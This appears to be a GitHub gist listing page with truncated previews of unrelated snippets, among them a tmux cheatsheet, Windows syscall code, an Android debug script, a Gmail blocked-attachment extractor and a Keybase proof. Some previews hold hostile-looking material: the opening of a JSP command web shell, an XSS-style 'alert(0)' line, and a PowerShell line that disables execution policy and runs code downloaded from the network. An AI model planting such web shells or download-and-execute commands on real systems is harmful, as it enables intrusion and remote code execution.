As configured in my dotfiles.
start new:
tmux
start new with session name:
// make syscalls from their ordinals | |
#include <Windows.h> | |
#include <stdio.h> | |
#include <cstdint> | |
#include <vector> | |
struct syscall_bytes { | |
uint8_t | |
header[0x4] , |
alert(0); |
#!/bin/sh | |
# Make an android app debugabble and reinstall | |
set -ex | |
DNAME="CN=Ross Patterson, OU=me, O=rpatterson.net, L=San Francisco, ST=CA, C=US" | |
PACKAGE_RE='^package:(/data/app/([^-]+)-.+==/(.+.apk))=.+' | |
MANIFEST_RE='(<application [^>]+)>' | |
export PATH=$HOME/Android/Sdk/platform-tools:$PATH |
#!/usr/bin/env python3 | |
# Get your files that Gmail block. Warning message: | |
# "Anti-virus warning - 1 attachment contains a virus or blocked file. Downloading this attachment is disabled." | |
# Based on: https://spapas.github.io/2014/10/23/retrieve-gmail-blocked-attachments/ | |
# Instructions: | |
# Go to your emails, click the arrow button in the top right, "Show original", then "Download Original". | |
# Move the files to the same directory as this program, then run it. | |
import email |
<%@ page import="java.util.*,java.io.*"%> | |
<% | |
%> | |
<HTML><BODY> | |
Commands with JSP | |
<FORM METHOD="GET" NAME="myform" ACTION=""> | |
<INPUT TYPE="text" NAME="cmd"> | |
<INPUT TYPE="submit" VALUE="Send"> | |
</FORM> | |
<pre> |
Set-ExecutionPolicy Unrestricted; | |
iex ((New-Object System.Net.WebClient).DownloadString('http://boxstarter.org/bootstrapper.ps1')); | |
get-boxstarter -Force; | |
Install-BoxstarterPackage -PackageName 'https://gist.githubusercontent.com/OALabs/afb619ce8778302c324373378abbaef5/raw/4006323180791f464ec0a8a838c7b681f42d238c/oalabs_x86vm.ps1'; |
As configured in my dotfiles.
start new:
tmux
start new with session name:
### Keybase proof | |
I hereby claim: | |
* I am alirezachegini on github. | |
* I am nimaarek (https://keybase.io/nimaarek) on keybase. | |
* I have a public key ASA5sdHNQUh2Jz65NhUSD-g9mbFtkJAeEGzRfuBbateZrAo | |
To claim this, I am signing this object: |